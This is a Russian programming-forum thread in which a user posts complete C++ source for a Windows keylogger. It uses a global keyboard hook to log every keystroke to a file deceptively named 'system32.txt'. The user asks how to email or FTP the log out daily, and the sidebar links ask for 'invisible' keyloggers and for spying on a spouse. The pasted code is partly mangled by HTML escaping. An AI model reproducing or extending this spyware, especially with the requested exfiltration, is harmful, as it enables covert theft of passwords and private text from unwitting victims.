Форум программистов, компьютерный форум, киберфорум
С++ для начинающих
Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Невозможно преобразовать параметры https://www.cyberforum.ru/ cpp-beginners/ thread1326218.html
Похожие темы не кидайте. уже их видел. но ничего не понял=). Человек вводит символ >, <, =. и нужно что бы если эти строки равны(идентичны), то вополнялся определенный участок кода... невозможно...
Вставьте первую строку матрицы после строки, в которой находится первый встреченный минимальный элемент C++
Дан двумерный массив. Вставьте первую строку после строки, в которой находится первый встреченный минимальный элемент
C++ Хеширование чисел
Здравствуйте, прочел пост taras atavin В частности число до 70 000 000 отлично хешируется даже в пол байта, но с таким количеством хеш-коллизий, что лучше этим не маяться. И стало интересно,...
C++ Разработать функцию выделения произвольного столбца в двумерном массиве #include <iostream> #include <stdarg.h> #include <conio.h> #include <stdlib.h> using namespace std; int array; int a,b,i,j,d,x,y; void matrica(int i,int j){ for (int im=0; im<i; im++){ ... https://www.cyberforum.ru/ cpp-beginners/ thread1326193.html
C++ Написать массив заданный рядом Тейлора https://www.cyberforum.ru/ cpp-beginners/ thread1326192.html
Отсортировать массив целых так, чтобы сначала шли отрицательные, затем положительные числа C++
если можно, то еще поменять порядок положительных
Исходный код zabbix агента C++
Здравствуйте! В качестве спортивного интереса разбираю код zabbix agent'а, просто для себя. В коде zabbix_agentd.c присутствует следующее: thread_args->server_num = i + 1; thread_args->args...
C++ Обработка двумерного массива, не могу найти ошибку если первый элемент в массиве максимальный, то ко всем элементам в строке прибавляет 10.....первая стока проходит, а вторая почему-то нет void main() { int n, m, i, j, x, max; n = 2; m = 2;... https://www.cyberforum.ru/ cpp-beginners/ thread1326173.html
C++ Сложение двух динамических массивов char* в одну строку https://www.cyberforum.ru/ cpp-beginners/ thread1326168.html
В массивы вводятся данные, масcивы вида : int n,k; char *a,*b; a=new char; b=new char; Как вывести результирующую строку БЕЗ подключения библиотеки работы со строками есть толкьо...
C++ Вывести 3-ий файл в папке Здравствуйте . Не могу разобраться с таким вопросом : как вывести имя 3-го файла в папке ? Вот получается вывести все имена файлов : #include "stdafx.h" #include <tchar.h> #include <iostream>... https://www.cyberforum.ru/ cpp-beginners/ thread1326164.html
Mutant Koala
0

Теоретический момент по Keylogger на C++

10.12.2014, 22:14. Показов 1283. Ответов 1
Метки (Все метки)

Есть код, копипастнутый с незначительными изменениями, это простейший Keylogger, есть два вопроса один практический другой теоретический.
1) почему MVS при отладке ругается на данный момент
C++
1
while (GetMessage(&amp;message,NULL,0,0))
(идентификатор amp не определен)

2) как реализовать отсылку лога, допустим раз в сутки на мыло, и вообще возможно-ли это? Так же интересует этот вопрос по поводу пересылки на FTP.

соответственно вот исходник

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#include < windows.h >
#include < fstream >
#include < iostream >
#include < algorithm >
#include < string >
 
using namespace std;
 
string myKey;
BOOL isCaps();
 
char logName[] = "system32.txt";//LOG FILE name
 
//init all varibles for speed
MSG message;
HHOOK keyboardHook;
char keyNameBuff[16];
PKBDLLHOOKSTRUCT p;
unsigned int sc;
//кейлоггер для Windows
void writeToLog(string s) //write a string to the log
{
     ofstream log(logName, ios::app); //opens log file
 
     log << s; //writes to log.. with format '['']'
 
     log.close(); //closes log
}
// Кейлоггер для Windows
BOOL isCaps()
{
     if ((GetKeyState(VK_CAPITAL) &amp; 0x0001)!=0 || 
        ((GetKeyState(VK_SHIFT) &amp; 0x8000)!=0)) 
     {
        return 1;
     } else {
        return 0;
     }
}
// Кейлоггер для Windows
LRESULT CALLBACK hookProc(int nCode, 
WPARAM wParam, LPARAM lParam)//proc to be run on hooked key
{  
  if (wParam == WM_KEYDOWN)//if key event type is key down
        {
    //get the keyname from lParam
    p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode
 
    sc = MapVirtualKey(p->vkCode, 0);
    sc <<= 16; //shift 16 bits
 
    if (!(p->vkCode <= 32))//if not ascii
    {
    sc |= 0x1 << 24; // <- extended bit
    }
 
    GetKeyNameTextA(sc,keyNameBuff,16);
                // Кейлоггер для Windows - исходник 
                //gets ASCII key name from sc into keyNameBuff
 
    //write keyname to log
    myKey = keyNameBuff;
    if (myKey == "Space") {
           writeToLog(" ");
        }
        else if (myKey == "Right Alt") {
             writeToLog("[R ALT]");
        }
        else if (myKey == "Enter") {
             writeToLog("[ENTER]");
        }
        else if (myKey == "Left Alt") {
             writeToLog("[L ALT]");
        }
        else if (myKey == "Tab") {
             writeToLog("[TAB]");
        }
        else if (myKey == "Backspace") {
             writeToLog("[BS]");
        }
        else if (myKey == "Caps Lock") {
             writeToLog("[CAPS]");
        }
        else if (myKey == "Delete") {
             writeToLog("[DEL]");
        }
        else if (myKey == "Right Shift") {
             writeToLog("[R SHIFT]");
        }
        else if (myKey == "Shift") {
             writeToLog("[L SHIFT]");
        }
        else if (myKey == "Ctrl") {
             writeToLog("[L CTRL]");
        }
        else if (myKey == "Right Ctrl") {
             writeToLog("[R CTRL]");
        }
        // if its none of the special keys
        else {
             if (isCaps() == 1) {
                writeToLog(myKey);
             } else {
                std::transform(myKey.begin(), myKey.end(),
myKey.begin(), ::tolower);
                writeToLog(myKey);
             }
        }
}
        return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// Кейлоггер для Windows
void msgLoop()
{
  while (GetMessage(&amp;message,NULL,0,0))
  {
    TranslateMessage(&amp;message);
    DispatchMessage(&amp;(message);
  }
}
// Кейлоггер для Windows
int WINAPI WinMain(HINSTANCE hInstance, 
HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
  keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, 
        hookProc, hInstance, 0); //hooks keyboard
 
  msgLoop(); //stops from closing
        // Кейлоггер для Windows - исходник
  UnhookWindowsHookEx(keyboardHook); //unhooks
 
  return 0; //Never run
}


Вернуться к обсуждению:
Теоретический момент по Keylogger на C++

Помощь в написании контрольных, курсовых и дипломных работ здесь.

Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
10.12.2014, 22:14
Готовые ответы и решения:

Keylogger
Программа должна перехватывать вводимый текст из всех окон и сохранять в файл, делать скриншоты...

USB Keylogger
Эх, была не была, может быть, помидорами не закидают =) Делаю: Аппаратный перехватчик данных с...

Посоветуйте keylogger
Приветствую. Мне недавно позвонил друг детства, говорит, что у него есть подозрение, что его жена...

Нужен keylogger
Нужен нормальный кейлогер (невидимость, доступ по паролю, запись посещаемых сайтов и запись...

1
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2021, vBulletin Solutions, Inc.